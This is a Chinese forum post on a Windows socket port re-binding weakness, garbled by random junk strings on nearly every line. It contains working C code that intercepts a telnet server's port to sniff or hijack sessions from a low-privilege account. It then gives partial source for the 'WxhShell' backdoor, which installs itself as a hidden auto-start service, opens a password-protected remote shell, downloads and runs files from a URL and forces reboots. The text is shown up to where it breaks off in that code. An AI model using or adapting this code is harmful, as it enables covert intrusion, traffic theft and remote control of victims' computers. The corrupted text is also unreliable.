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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "v:k5a(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Jt5V{9:('  
<=n;5hv:  
  saddr.sin_family = AF_INET; e=(Y,e3  
"]=OR>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); uNn1qV  
4JK6<Pk  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); nCi ]6;Y  
W5Z-s.o  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n' mrLZw  
SEI0G_wk$  
  这意味着什么?意味着可以进行如下的攻击: o>M^&)Xs  
myA;Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e^eJ!~0  
t}R!i-D|HB  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8j>V?'Szk  
r7W.}n*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 R7Qj<,  
~}b0zL  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n3$=&   
nqH[ y0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [UXVL}t k  
2B$dT=G  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 IQ<G .  
Sk53Lc  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bQ>wyA+G&E  
TQO|C?  
  #include G@DNV3Cc  
  #include Mrk3r/ 8w  
  #include [l^XqD D4  
  #include    UUfM 7gq  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4|_xz; i  
  int main() q,ie)`  
  { <2]h$53y!  
  WORD wVersionRequested; TI3xt-/  
  DWORD ret; 3q4Zwv0z20  
  WSADATA wsaData; P-ZvW<M  
  BOOL val; XcoX8R%U  
  SOCKADDR_IN saddr; cV>?*9z0  
  SOCKADDR_IN scaddr; p|->z  
  int err; T2rwK2  
  SOCKET s; `>\ ~y1  
  SOCKET sc; Vw w 211  
  int caddsize; Kq")|9=d  
  HANDLE mt; VL*5  
  DWORD tid;   \9,lMK[b  
  wVersionRequested = MAKEWORD( 2, 2 ); OulRqbL2  
  err = WSAStartup( wVersionRequested, &wsaData ); ?M'CTz}<\  
  if ( err != 0 ) { |[n\'Xy;{  
  printf("error!WSAStartup failed!\n"); wm#(\dj  
  return -1; 6xx.Z3v  
  } 7Z2D}O +  
  saddr.sin_family = AF_INET; w aniCE o  
   EC$F|T0f  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {Yxvb**  
8WDL.IO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e*'bY;8lo  
  saddr.sin_port = htons(23); }BS EK<W  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vfqXHc unj  
  { X$==J St  
  printf("error!socket failed!\n"); {P?Ge  
  return -1;  Fw[1Aa#  
  } hvTc( 0;mB  
  val = TRUE; ,2!7iX  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1.p ?1"4\u  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) BsXF'x<U*  
  { P4"BX*x  
  printf("error!setsockopt failed!\n"); c),UO^EqV  
  return -1; pRjEuOc  
  } w;@v#<q6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; by9UwM=gp  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J37vA zK%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 G0: <#?<5  
w@2NXcmw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w +UB XW  
  { 4;~xRg;u&*  
  ret=GetLastError(); ww %c+O/  
  printf("error!bind failed!\n"); br88b`L  
  return -1; :@ &e~QP(  
  } JGq9RB]D$  
  listen(s,2); @8J*vY =e  
  while(1) LT{g^g  
  { X_-/j.  
  caddsize = sizeof(scaddr); "d/54PKWx  
  //接受连接请求 I[Bp}6G  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); I|*<[/)]y  
  if(sc!=INVALID_SOCKET) Z]LP18m9kl  
  { ZWyf.VJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]gHrqi%  
  if(mt==NULL) RoHX0   
  { qK;J:GT>  
  printf("Thread Creat Failed!\n"); kxe{HxM$Z  
  break; $R ze[3  
  } b/.EA' /  
  } 9r\p4_V  
  CloseHandle(mt); Y_$!XIJ4  
  } &:d`Pik6  
  closesocket(s); _Iy)p{y  
  WSACleanup(); oSYJXs  
  return 0; S8;c0}-  
  }   qtVgjT2#H  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6G4~-_  
  { [D|Uwq  
  SOCKET ss = (SOCKET)lpParam; M&Q&be84  
  SOCKET sc; uAYDX<Ja9  
  unsigned char buf[4096]; 0 Q>  
  SOCKADDR_IN saddr; .gNJY7`b  
  long num; H RahBTd(z  
  DWORD val; %A `9[icy  
  DWORD ret; Y"5FK  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @pvQci  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   A5fzyG   
  saddr.sin_family = AF_INET; Kk.\P|k2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'yOx&~H]  
  saddr.sin_port = htons(23); #( 4)ps.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C]ho7qC  
  { qzY:>>d'  
  printf("error!socket failed!\n"); sFk{Tv@Yz  
  return -1; 'u PI~l`g  
  } uG.`  
  val = 100; @B+8' b$9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |&S^L}V.C  
  { h{]0 H'g  
  ret = GetLastError(); qoQ,3&<  
  return -1; Xhyc2DKa_  
  } 6a]Qg99\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FzsW^u+  
  { h/aG."U  
  ret = GetLastError(); "5,Cy3  
  return -1; , Z1 &MuV  
  } 0a?[@ -Sz  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) IH=%%AS  
  { vO zUAi  
  printf("error!socket connect failed!\n"); g$=']A?W_  
  closesocket(sc); jxw8jo06:  
  closesocket(ss); k fOd|-  
  return -1; vKbGG   
  } :d<F7`k H  
  while(1) }i;!p Ue$  
  { i[vN3`*B  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 'Um\m  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 sZa>+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 r_^]5C\  
  num = recv(ss,buf,4096,0); 1- GtZ2  
  if(num>0) $KRpu<5i}  
  send(sc,buf,num,0); YTe8C9eO  
  else if(num==0) XX1Iw {o9:  
  break; w(%$~]h  
  num = recv(sc,buf,4096,0); noWwX  
  if(num>0) gU@.IOg  
  send(ss,buf,num,0); ~:="o/wo  
  else if(num==0) >tkU+$;-  
  break; a,t]>z95  
  } "8[Vb#=*e  
  closesocket(ss); Ip,0C8T`Q  
  closesocket(sc); 65c#he[_Y  
  return 0 ; yle~hL  
  } a^L'-(  
#Nv0d|0\  
G;msq=9|  
========================================================== 5)K?:7  
=-uk7uZM  
下边附上一个代码,,WXhSHELL Y,%G5X@S<  
#0M,g  
========================================================== XR)I,@i`'  
&2Cu"O'.i  
#include "stdafx.h" JR/^Go$^  
4mWT"T-8  
#include <stdio.h> q'[yYPDX5x  
#include <string.h> 0 KWi<G1  
#include <windows.h> 5r\Rfma  
#include <winsock2.h> \xtmd[7lb<  
#include <winsvc.h> ~o/e0  
#include <urlmon.h> J@9E20$  
ZnB|vfL?  
#pragma comment (lib, "Ws2_32.lib") x6~`{N1N M  
#pragma comment (lib, "urlmon.lib") p~u11rH  
~u80v h'  
#define MAX_USER   100 // 最大客户端连接数 0V#eC  
#define BUF_SOCK   200 // sock buffer @|o^]-,  
#define KEY_BUFF   255 // 输入 buffer ;Q8rAsf 9  
+(2mHS0_a  
#define REBOOT     0   // 重启 "IsDL^)A9  
#define SHUTDOWN   1   // 关机 A!5)$>!o  
Z}6H529[  
#define DEF_PORT   5000 // 监听端口 b"#|0d0  
L}U fd >*  
#define REG_LEN     16   // 注册表键长度 e0u* \b  
#define SVC_LEN     80   // NT服务名长度 $30lNZK1m8  
uw&'=G6v  
// 从dll定义API )e:u 6]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uJHf6Ye  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YR/rN,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n&uD=-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @k2nID^>  
\c$! C8z  
// wxhshell配置信息 8|p*T&Cn&  
struct WSCFG { (/l9@0Y.t  
  int ws_port;         // 监听端口 K1Wiiw  
  char ws_passstr[REG_LEN]; // 口令 ijWn,bj  
  int ws_autoins;       // 安装标记, 1=yes 0=no lo!_;`v=U  
  char ws_regname[REG_LEN]; // 注册表键名 fDY#&EO: %  
  char ws_svcname[REG_LEN]; // 服务名  ^'c[HVJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hAp<$7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KGb3n;]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [L@ vC>G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H23-%+*J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U.QjB0;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KC{ HX?  
0 /JusQ  
}; cO !2|v8i  
j_*#"}Lcp  
// default Wxhshell configuration lGZ^ 8  
struct WSCFG wscfg={DEF_PORT, A#j'JA>_  
    "xuhuanlingzhe", ff9D{$V5  
    1, vL7 JzSU_  
    "Wxhshell", LHz-/0 [  
    "Wxhshell", gaw/3@  
            "WxhShell Service", }@:vq8%Q  
    "Wrsky Windows CmdShell Service", _(s|@UT#  
    "Please Input Your Password: ", !'^gqaF+  
  1, >*%mJX/F  
  "http://www.wrsky.com/wxhshell.exe", E5G=Kh[NP  
  "Wxhshell.exe" jE</a %  
    }; 1Lb+ &  
`8%2F}x}qD  
// 消息定义模块 ;  u0 MY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $k|k5cP8x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dRXF5Ox5K}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1x#Z}XG  
char *msg_ws_ext="\n\rExit."; hqVFb.6[  
char *msg_ws_end="\n\rQuit."; {?' DZR s  
char *msg_ws_boot="\n\rReboot..."; 2!b+}+:  
char *msg_ws_poff="\n\rShutdown..."; -HU5E>xG  
char *msg_ws_down="\n\rSave to "; F+!K9(`|  
,9W|$2=F  
char *msg_ws_err="\n\rErr!"; +,"/z\QO  
char *msg_ws_ok="\n\rOK!"; n`krK"Ii  
4b B)t#  
char ExeFile[MAX_PATH]; kN*,3)T;}  
int nUser = 0; J!,<NlP0K  
HANDLE handles[MAX_USER]; -%lA=pS{Fq  
int OsIsNt; Rb~NX  
Vn-y<*np  
SERVICE_STATUS       serviceStatus; b*xw=G3%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /}\EMP  
/8i3I5*  
// 函数声明 7 Ld5  
int Install(void); 9a5x~Z:'  
int Uninstall(void); tTB,eR$  
int DownloadFile(char *sURL, SOCKET wsh); x_vaYUl)  
int Boot(int flag); Z!P7mH\c}  
void HideProc(void); ljTnxg/? W  
int GetOsVer(void); _Jc[`2Uv_c  
int Wxhshell(SOCKET wsl); rn7eY  
void TalkWithClient(void *cs); tN=B9bm3j  
int CmdShell(SOCKET sock); R(sPU>`MX  
int StartFromService(void); p#UrZKR  
int StartWxhshell(LPSTR lpCmdLine); _>8ZL)NQQ  
W4Ey]y"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ew# t4~hh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WCc,RI0   
25RFi24>D  
// 数据结构和表定义 1o. O]>  
SERVICE_TABLE_ENTRY DispatchTable[] = qJb9JL$s  
{ 6.| {l8%r  
{wscfg.ws_svcname, NTServiceMain}, ruG5~dm>  
{NULL, NULL} i"~J -{d}  
}; >i%{5d  
xn'&TQo0  
// 自我安装 0Z{f!MOh  
int Install(void) B\,pbOE?#  
{ .mzy?!w0q  
  char svExeFile[MAX_PATH]; P5Y:c@u2  
  HKEY key; gwj+~vSfi  
  strcpy(svExeFile,ExeFile); o.ntzN  
P".CZyI-i  
// 如果是win9x系统,修改注册表设为自启动 TzT(aWP"  
if(!OsIsNt) { v"VpE`z1#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }j^asuf~c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 82.::J'e  
  RegCloseKey(key); J|-X?V;ZW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z6eM~$Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N,9W18 @  
  RegCloseKey(key); nCZ&FNi{O~  
  return 0; 5G"DgG*<  
    } u:Fa1 !4JR  
  } 2 5DXJ b^:  
} iYi3x_A`  
else { 88]V6Rm9[*  
nm)H\i  
// 如果是NT以上系统,安装为系统服务 J3OxM--8"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1&JPyW  
if (schSCManager!=0) SW!lSIk  
{ WdEVT,jjh  
  SC_HANDLE schService = CreateService 038|>l-9[  
  ( :C*7 DS  
  schSCManager, 50#iC@1  
  wscfg.ws_svcname, zO BLF|L=  
  wscfg.ws_svcdisp, j\kT H  
  SERVICE_ALL_ACCESS, `52+.*J+%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +yvtd]D$2W  
  SERVICE_AUTO_START, P;7JK=~k  
  SERVICE_ERROR_NORMAL, q#RUL!WF7U  
  svExeFile, lxIo P  
  NULL, s9R#rwIc  
  NULL, I d6H~;  
  NULL, OIpkXM  
  NULL, ,Jm2|WKH  
  NULL jlvh'y`  
  ); iI|mFc|V  
  if (schService!=0) @]v}& j7  
  { {t<E*5N]a  
  CloseServiceHandle(schService); .E H&GX  
  CloseServiceHandle(schSCManager); 3 q1LIM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6'YT3=  
  strcat(svExeFile,wscfg.ws_svcname); cR'l\iv+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )k)HQcfjD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r%`g` It  
  RegCloseKey(key); h0m+u}oP_H  
  return 0; z'=8U@P'#  
    } {k CCpU  
  } a_jw4"Sb  
  CloseServiceHandle(schSCManager);  .dA_}  
} ~m:oJ+:O  
} (}Q(Ux@X  
_ebo  
return 1; 0,b.;r  
} e"7<&% Oq  
T_\Nvzb}  
// 自我卸载 K/xn4N_UX  
int Uninstall(void) -BQoNEh  
{ Rcg q7W  
  HKEY key; 7s8-Uwl<  
{)V!wSi  
if(!OsIsNt) { t6/w({}j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LqNt.d @  
  RegDeleteValue(key,wscfg.ws_regname); oeV. K.  
  RegCloseKey(key); 52X[ {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BK$cN>J  
  RegDeleteValue(key,wscfg.ws_regname); &B1j,$NRc  
  RegCloseKey(key); b#~K>  
  return 0; 5&59IA%S  
  } 4eF qD;  
} *Ubsa9'fS  
} Y~E 8z  
else { WC& V9Yk  
<{ZDD]UGs0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'e&L53n  
if (schSCManager!=0) p.wed% O.  
{ @c;XwU]2t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b+=@;0p*6B  
  if (schService!=0) !wbO:py[8>  
  { O*Gg57a  
  if(DeleteService(schService)!=0) { s2Z'_r T  
  CloseServiceHandle(schService); #:B14E  
  CloseServiceHandle(schSCManager); )RUx  
  return 0; ` nd/N#  
  } Q y4eDv5  
  CloseServiceHandle(schService); eELLnU{"  
  } 4d x4hBd  
  CloseServiceHandle(schSCManager); Nxm^jPM 0  
} g=#Cc( q  
} t=l@(%O 0_  
.1{:Q1"S  
return 1; ttP|}|O  
} 53X i)  
:)9CG!2y<M  
// 从指定url下载文件 .-Z=Aa>  
int DownloadFile(char *sURL, SOCKET wsh) <z.Y#{p?k  
{ b=L4A,w~a  
  HRESULT hr; ylGT9G19  
char seps[]= "/"; 'hGUsi  
char *token; ?4`f@=}'K  
char *file; #]rfKHW9  
char myURL[MAX_PATH]; "xI70c{  
char myFILE[MAX_PATH]; QLm#7ms*y  
,+P2B%2c  
strcpy(myURL,sURL); 'G1~ A +  
  token=strtok(myURL,seps); yac4\%ze  
  while(token!=NULL) :$=]*54`T  
  { + *W%4e  
    file=token; MZrLLnl6\  
  token=strtok(NULL,seps); /4I9Elr  
  } Lo<WK  
>b7Yk)[%  
GetCurrentDirectory(MAX_PATH,myFILE); xe4`D>LUo  
strcat(myFILE, "\\"); 9^?2{aP%  
strcat(myFILE, file); ZGw 6Bd_I  
  send(wsh,myFILE,strlen(myFILE),0); %!\iII  
send(wsh,"...",3,0); +@^FUt=tq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {^@vCBE+  
  if(hr==S_OK) (.J6>"K<  
return 0; M!`&Z9N  
else 7VIfRN{5n  
return 1; u<U8LR=)V5  
!#Pr'm/,mu  
} {EjzJr>  
SgWLs%B  
// 系统电源模块 +;Pkpuu  
int Boot(int flag) xeB-fy)5+  
{ + Pc2`,pw|  
  HANDLE hToken; H73 r3BH  
  TOKEN_PRIVILEGES tkp; Pk3b#$+E  
gJ H^f3  
  if(OsIsNt) { 79z/(T +  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t`- [  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yHo#v:>?p  
    tkp.PrivilegeCount = 1; LVaJyI@/>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v8"Zru  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z8dBfA<z  
if(flag==REBOOT) { 'F%h]4|1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;S9 z@`a.  
  return 0; /[qLf:rGI  
} #e[S+a  
else { (j(hr'f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -]Ny-[P  
  return 0; yJ:rry  
} :-Wh'H(  
  } HPY;U N  
  else { [Mk:Zz%  
if(flag==REBOOT) { j.yh>"de  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /s~BE ,su  
  return 0; 6/.kL;AI  
} Z817f]l  
else { sis1Dh9:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c;,-I  
  return 0; b{CS1P  
} %0zp`'3Y  
} mKLWz1GZ  
cte Wl/v  
return 1; 12V-EG i  
} M_O)w^ '  
~#dfZa&   
// win9x进程隐藏模块 * EPJeblAV  
void HideProc(void)  6o1[fr  
{ 9T\\hM)k  
!S'!oinV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8{ +KNqz  
  if ( hKernel != NULL ) z:8ieJ)C  
  { o?d`o$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L@S1C=-/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R].xT-1  
    FreeLibrary(hKernel); n0FzDQt26  
  } :(K JLa]  
dG!)<  
return; dbg%n 0h  
}  e**5_L  
_Qq lOc9  
// 获取操作系统版本 v\g1 w&PN  
int GetOsVer(void) u"F{cA!B  
{ w0O(>  
  OSVERSIONINFO winfo; F;MACu;x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kZ0z]Y  
  GetVersionEx(&winfo); Ekn3ODz,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?r}2JHvN  
  return 1; ( m7qc  
  else l15Z8hYh j  
  return 0; 6H!l>@a7v  
} \D-X _.v  
@zJiR{Je-U  
// 客户端句柄模块 wn.UjxX.  
int Wxhshell(SOCKET wsl) \"X_zM  
{ @ %o'  
  SOCKET wsh; wkY$J\J  
  struct sockaddr_in client; `NyO|9/4  
  DWORD myID; HOrXxxp1^  
n0)y|B#  
  while(nUser<MAX_USER) R1Fcd@DWD  
{ }((P)\s  
  int nSize=sizeof(client); ~"Su2{"8B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L/)eNZ  
  if(wsh==INVALID_SOCKET) return 1; N+vsQ!Qz  
z2jS(N?J1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xxG>Leml  
if(handles[nUser]==0) "g/UpnH  
  closesocket(wsh); a{Y8 hR  
else Rl (+TE  
  nUser++; /2cn`dR,  
  } wauM|/KG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &w{z  
"$3~):o  
  return 0; B}@CtVWFz  
} {rzQ[_)EC  
x=N0H  
// 关闭 socket TpYdIt9#>  
void CloseIt(SOCKET wsh) Knp}88DR^j  
{ 59(kk;  
closesocket(wsh); w6ck wn,  
nUser--; 4 g8t  
ExitThread(0); 8\+XtS  
} _`Dz%(c  
\SBAk h  
// 客户端请求句柄 vvLzUxV  
void TalkWithClient(void *cs) {>3w"(f7o  
{ Bw.?Me)mf|  
keJ-ohv)  
  SOCKET wsh=(SOCKET)cs; eI@G B  
  char pwd[SVC_LEN]; P!!:p2fo  
  char cmd[KEY_BUFF]; U%KgLg#  
char chr[1]; [4-u{Tu  
int i,j; Jmu oYlf|  
! QKec  
  while (nUser < MAX_USER) { L> rW S-  
+D?Re%HI  
if(wscfg.ws_passstr) { uFG ;AY|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0xV[C4E[6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?SX0e(+}}  
  //ZeroMemory(pwd,KEY_BUFF); b~?3HY:t~K  
      i=0; w ; PV &M  
  while(i<SVC_LEN) { A QPzId*z  
6Z-[-0o+g  
  // 设置超时 ~2UmX'  
  fd_set FdRead; UdFYG^i  
  struct timeval TimeOut; p]6/1&t="  
  FD_ZERO(&FdRead); w69G6G(  
  FD_SET(wsh,&FdRead); sh%%U  
  TimeOut.tv_sec=8; "R[6Q ^vw  
  TimeOut.tv_usec=0; rUmnv%qTS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^ lG^.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ze`qf%  
scZ'/(b-E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Oe0dC9H  
  pwd=chr[0]; (Li)@Cn%  
  if(chr[0]==0xd || chr[0]==0xa) { UO' X"`  
  pwd=0; zTze %  
  break; <7oZV^nd *  
  } 8u Z4[  
  i++; C7!=LiK}  
    } ;z o?o t/  
HqA3.<=F,  
  // 如果是非法用户,关闭 socket ?e23[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h}%yG{'/M=  
} ; zfBe%Uf  
aT=V/Xh}d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ScC!?rTW~7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tmC9p6%  
{6*{P!H  
while(1) { ]2xoeNF/W{  
BtP*R,>  
  ZeroMemory(cmd,KEY_BUFF); [,qb) &_  
DO? bJ01  
      // 自动支持客户端 telnet标准   =e]Wt/AQ  
  j=0; ]K%D$x{+\  
  while(j<KEY_BUFF) { SFa^$w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I`}x9t  
  cmd[j]=chr[0]; ~wd~57i@  
  if(chr[0]==0xa || chr[0]==0xd) { ^Cn_ ODjo  
  cmd[j]=0; 7h.:XlUm|  
  break; Zx,a j  
  } ?Tk4Vt  
  j++; }{e7wqS$&,  
    } G$ Ii  
 \4&FW|mx  
  // 下载文件 Gp))1b';  
  if(strstr(cmd,"http://")) { ,lw<dB@7"5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XJf1LGT5  
  if(DownloadFile(cmd,wsh)) }UHoa  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B9h>  
  else 3WF6bJN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _xXDvBU  
  } jz$83TB-  
  else { |p+ xM  
W$Zc;KRz$0  
    switch(cmd[0]) { LL=nMoS  
  N%`Eq@5  
  // 帮助 "a >a "Ei  
  case '?': { 6b#J!:?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 610hw376B  
    break; \JEI+A PY*  
  } Gex%~';+q  
  // 安装 ( j~trpe,  
  case 'i': { VUGVIy.  
    if(Install()) 5>[ j^g+@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >a1 ovKF  
    else AT,?dxP J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h3:dO|Z  
    break; |CjE }5Op>  
    }  W,)qE^+  
  // 卸载 dKTUW<C  
  case 'r': { p uLQ_MNV  
    if(Uninstall()) as| MB (  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eEkbD"Q  
    else RJZ4fl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SwPc<Z?P  
    break; 79Vp^GG7  
    } z|>f*Z  
  // 显示 wxhshell 所在路径 KwuNHK)-  
  case 'p': { ni x1_Wo;  
    char svExeFile[MAX_PATH]; zbL6TP@=  
    strcpy(svExeFile,"\n\r"); t^1c^RpTb  
      strcat(svExeFile,ExeFile); Cdd +I5~  
        send(wsh,svExeFile,strlen(svExeFile),0); 5%6r,?/7KM  
    break; lGP'OY"Q  
    } D>Ph))QI  
  // 重启 IT0*~WMZ  
  case 'b': { G#A& Y$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sud5F4S  
    if(Boot(REBOOT)) j8gi/07l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G|Y9F|.!  
    else { - '5OX/Szq  
    closesocket(wsh); /.aDQ>  
    ExitThread(0); &D~70N\L  
    } ,*@6NK,.  
    break; bbU{ />yW  
    } ,, G6L{&Z  
